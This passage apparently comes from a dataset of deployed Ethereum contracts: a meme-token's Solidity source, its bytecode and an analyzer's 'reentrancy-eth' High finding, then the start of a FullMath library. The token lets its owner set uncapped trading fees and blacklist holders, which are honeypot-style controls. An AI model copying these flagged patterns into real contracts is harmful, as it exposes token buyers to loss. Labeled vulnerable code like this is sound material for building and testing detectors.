{"success": true, "error": null, "results": {}}
| 4,290 |
0xFAd2152C5ca3029d43C9662ab9d6b6A9785A5b9d
|
// SPDX-License-Identifier: UNLICENSED
/**
Telegram - https://t.me/MomoshikiInu
Site - http://momoshikinu.com/
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MomoshikiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Momoshiki Inu";
string private constant _symbol = "MOSHI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 14;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 16;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x5EaF154f031e563D93c43CC1Bd3bb491229Fec43);
address payable private _marketingAddress = payable(0x8bC106E4494Da528bA5d38c803658cf2Ce2d7bb5);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000 * 10**9; //1%
uint256 public _maxWalletSize = 100000 * 10**9; //1%
uint256 public _swapTokensAtAmount = 30000 * 10**9; //.3%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610520578063dd62ed3e14610540578063ea1644d514610586578063f2fde38b146105a657600080fd5b8063a2a957bb1461049b578063a9059cbb146104bb578063bfd79284146104db578063c3c8cd801461050b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104175780638f9a55c01461043757806395d89b411461044d57806398a5c3151461047b57600080fd5b806374010ece146103c35780637d1db4a5146103e35780638da5cb5b146103f957600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103595780636fc3eaec1461037957806370a082311461038e578063715018a6146103ae57600080fd5b8063313ce567146102fd57806349bd5a5e146103195780636b9990531461033957600080fd5b80631694505e116101a05780631694505e1461026b57806318160ddd146102a357806323b872dd146102c75780632fd689e3146102e757600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023b57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611abc565b6105c6565b005b3480156101ff57600080fd5b5060408051808201909152600d81526c4d6f6d6f7368696b6920496e7560981b60208201525b6040516102329190611bee565b60405180910390f35b34801561024757600080fd5b5061025b610256366004611a0c565b610665565b6040519015158152602001610232565b34801561027757600080fd5b5060145461028b906001600160a01b031681565b6040516001600160a01b039091168152602001610232565b3480156102af57600080fd5b50662386f26fc100005b604051908152602001610232565b3480156102d357600080fd5b5061025b6102e23660046119cb565b61067c565b3480156102f357600080fd5b506102b960185481565b34801561030957600080fd5b5060405160098152602001610232565b34801561032557600080fd5b5060155461028b906001600160a01b031681565b34801561034557600080fd5b506101f1610354366004611958565b6106e5565b34801561036557600080fd5b506101f1610374366004611b88565b610730565b34801561038557600080fd5b506101f1610778565b34801561039a57600080fd5b506102b96103a9366004611958565b6107c3565b3480156103ba57600080fd5b506101f16107e5565b3480156103cf57600080fd5b506101f16103de366004611ba3565b610859565b3480156103ef57600080fd5b506102b960165481565b34801561040557600080fd5b506000546001600160a01b031661028b565b34801561042357600080fd5b506101f1610432366004611b88565b610888565b34801561044357600080fd5b506102b960175481565b34801561045957600080fd5b506040805180820190915260058152644d4f53484960d81b6020820152610225565b34801561048757600080fd5b506101f1610496366004611ba3565b6108d0565b3480156104a757600080fd5b506101f16104b6366004611bbc565b6108ff565b3480156104c757600080fd5b5061025b6104d6366004611a0c565b61093d565b3480156104e757600080fd5b5061025b6104f6366004611958565b60106020526000908152604090205460ff1681565b34801561051757600080fd5b506101f161094a565b34801561052c57600080fd5b506101f161053b366004611a38565b61099e565b34801561054c57600080fd5b506102b961055b366004611992565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059257600080fd5b506101f16105a1366004611ba3565b610a3f565b3480156105b257600080fd5b506101f16105c1366004611958565b610a6e565b6000546001600160a01b031633146105f95760405162461bcd60e51b81526004016105f090611c43565b60405180910390fd5b60005b81518110156106615760016010600084848151811061061d5761061d611d8a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065981611d59565b9150506105fc565b5050565b6000610672338484610b58565b5060015b92915050565b6000610689848484610c7c565b6106db84336106d685604051806060016040528060288152602001611dcc602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b8565b610b58565b5060019392505050565b6000546001600160a01b0316331461070f5760405162461bcd60e51b81526004016105f090611c43565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075a5760405162461bcd60e51b81526004016105f090611c43565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ad57506013546001600160a01b0316336001600160a01b0316145b6107b657600080fd5b476107c0816111f2565b50565b6001600160a01b03811660009081526002602052604081205461067690611277565b6000546001600160a01b0316331461080f5760405162461bcd60e51b81526004016105f090611c43565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108835760405162461bcd60e51b81526004016105f090611c43565b601655565b6000546001600160a01b031633146108b25760405162461bcd60e51b81526004016105f090611c43565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fa5760405162461bcd60e51b81526004016105f090611c43565b601855565b6000546001600160a01b031633146109295760405162461bcd60e51b81526004016105f090611c43565b600893909355600a91909155600955600b55565b6000610672338484610c7c565b6012546001600160a01b0316336001600160a01b0316148061097f57506013546001600160a01b0316336001600160a01b0316145b61098857600080fd5b6000610993306107c3565b90506107c0816112fb565b6000546001600160a01b031633146109c85760405162461bcd60e51b81526004016105f090611c43565b60005b82811015610a395781600560008686858181106109ea576109ea611d8a565b90506020020160208101906109ff9190611958565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3181611d59565b9150506109cb565b50505050565b6000546001600160a01b03163314610a695760405162461bcd60e51b81526004016105f090611c43565b601755565b6000546001600160a01b03163314610a985760405162461bcd60e51b81526004016105f090611c43565b6001600160a01b038116610afd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bba5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f0565b6001600160a01b038216610c1b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f0565b6001600160a01b038216610d425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f0565b60008111610da45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f0565b6000546001600160a01b03848116911614801590610dd057506000546001600160a01b03838116911614155b156110b157601554600160a01b900460ff16610e69576000546001600160a01b03848116911614610e695760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f0565b601654811115610ebb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f0565b6001600160a01b03831660009081526010602052604090205460ff16158015610efd57506001600160a01b03821660009081526010602052604090205460ff16155b610f555760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f0565b6015546001600160a01b03838116911614610fda5760175481610f77846107c3565b610f819190611ce9565b10610fda5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f0565b6000610fe5306107c3565b601854601654919250821015908210610ffe5760165491505b8080156110155750601554600160a81b900460ff16155b801561102f57506015546001600160a01b03868116911614155b80156110445750601554600160b01b900460ff165b801561106957506001600160a01b03851660009081526005602052604090205460ff16155b801561108e57506001600160a01b03841660009081526005602052604090205460ff16155b156110ae5761109c826112fb565b4780156110ac576110ac476111f2565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f357506001600160a01b03831660009081526005602052604090205460ff165b8061112557506015546001600160a01b0385811691161480159061112557506015546001600160a01b03848116911614155b15611132575060006111ac565b6015546001600160a01b03858116911614801561115d57506014546001600160a01b03848116911614155b1561116f57600854600c55600954600d555b6015546001600160a01b03848116911614801561119a57506014546001600160a01b03858116911614155b156111ac57600a54600c55600b54600d555b610a3984848484611484565b600081848411156111dc5760405162461bcd60e51b81526004016105f09190611bee565b5060006111e98486611d42565b95945050505050565b6012546001600160a01b03166108fc61120c8360026114b2565b6040518115909202916000818181858888f19350505050158015611234573d6000803e3d6000fd5b506013546001600160a01b03166108fc61124f8360026114b2565b6040518115909202916000818181858888f19350505050158015610661573d6000803e3d6000fd5b60006006548211156112de5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f0565b60006112e86114f4565b90506112f483826114b2565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061134357611343611d8a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139757600080fd5b505afa1580156113ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113cf9190611975565b816001815181106113e2576113e2611d8a565b6001600160a01b0392831660209182029290920101526014546114089130911684610b58565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611441908590600090869030904290600401611c78565b600060405180830381600087803b15801561145b57600080fd5b505af115801561146f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061149157611491611517565b61149c848484611545565b80610a3957610a39600e54600c55600f54600d55565b60006112f483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061163c565b600080600061150161166a565b909250905061151082826114b2565b9250505090565b600c541580156115275750600d54155b1561152e57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611557876116a8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115899087611705565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b89086611747565b6001600160a01b0389166000908152600260205260409020556115da816117a6565b6115e484836117f0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162991815260200190565b60405180910390a3505050505050505050565b6000818361165d5760405162461bcd60e51b81526004016105f09190611bee565b5060006111e98486611d01565b6006546000908190662386f26fc1000061168482826114b2565b82101561169f57505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116c58a600c54600d54611814565b92509250925060006116d56114f4565b905060008060006116e88e878787611869565b919e509c509a509598509396509194505050505091939550919395565b60006112f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b8565b6000806117548385611ce9565b9050838110156112f45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f0565b60006117b06114f4565b905060006117be83836118b9565b306000908152600260205260409020549091506117db9082611747565b30600090815260026020526040902055505050565b6006546117fd9083611705565b60065560075461180d9082611747565b6007555050565b600080808061182e606461182889896118b9565b906114b2565b9050600061184160646118288a896118b9565b90506000611859826118538b86611705565b90611705565b9992985090965090945050505050565b600080808061187888866118b9565b9050600061188688876118b9565b9050600061189488886118b9565b905060006118a6826118538686611705565b939b939a50919850919650505050505050565b6000826118c857506000610676565b60006118d48385611d23565b9050826118e18583611d01565b146112f45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f0565b803561194381611db6565b919050565b8035801515811461194357600080fd5b60006020828403121561196a57600080fd5b81356112f481611db6565b60006020828403121561198757600080fd5b81516112f481611db6565b600080604083850312156119a557600080fd5b82356119b081611db6565b915060208301356119c081611db6565b809150509250929050565b6000806000606084860312156119e057600080fd5b83356119eb81611db6565b925060208401356119fb81611db6565b929592945050506040919091013590565b60008060408385031215611a1f57600080fd5b8235611a2a81611db6565b946020939093013593505050565b600080600060408486031215611a4d57600080fd5b833567ffffffffffffffff80821115611a6557600080fd5b818601915086601f830112611a7957600080fd5b813581811115611a8857600080fd5b8760208260051b8501011115611a9d57600080fd5b602092830195509350611ab39186019050611948565b90509250925092565b60006020808385031215611acf57600080fd5b823567ffffffffffffffff80821115611ae757600080fd5b818501915085601f830112611afb57600080fd5b813581811115611b0d57611b0d611da0565b8060051b604051601f19603f83011681018181108582111715611b3257611b32611da0565b604052828152858101935084860182860187018a1015611b5157600080fd5b600095505b83861015611b7b57611b6781611938565b855260019590950194938601938601611b56565b5098975050505050505050565b600060208284031215611b9a57600080fd5b6112f482611948565b600060208284031215611bb557600080fd5b5035919050565b60008060008060808587031215611bd257600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611c1b57858101830151858201604001528201611bff565b81811115611c2d576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cc85784516001600160a01b031683529383019391830191600101611ca3565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cfc57611cfc611d74565b500190565b600082611d1e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d3d57611d3d611d74565b500290565b600082821015611d5457611d54611d74565b500390565b6000600019821415611d6d57611d6d611d74565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c6d6a321054ef9ee847f2bd0135824e3dca5ab403b3a489f3c147d08f9c396f864736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,291 |
0x0B1D3f33FF01f8aE6F76f4F971cFB6940873F074
|
/**
*Submitted for verification at Etherscan.io on 2021-04-25
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/// @title Contains 512-bit math functions
/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
library FullMath {
/// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
/// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv
function mulDiv(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
// 512-bit multiply [prod1 prod0] = a * b
// Compute the product mod 2**256 and mod 2**256 - 1
// then use the Chinese Remainder Theorem to reconstruct
// the 512 bit result. The result is stored in two 256
// variables such that product = prod1 * 2**256 + prod0
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(a, b, not(0))
prod0 := mul(a, b)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division
if (prod1 == 0) {
require(denominator > 0);
assembly {
result := div(prod0, denominator)
}
return result;
}
// Make sure the result is less than 2**256.
// Also prevents denominator == 0
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0]
// Compute remainder using mulmod
uint256 remainder;
assembly {
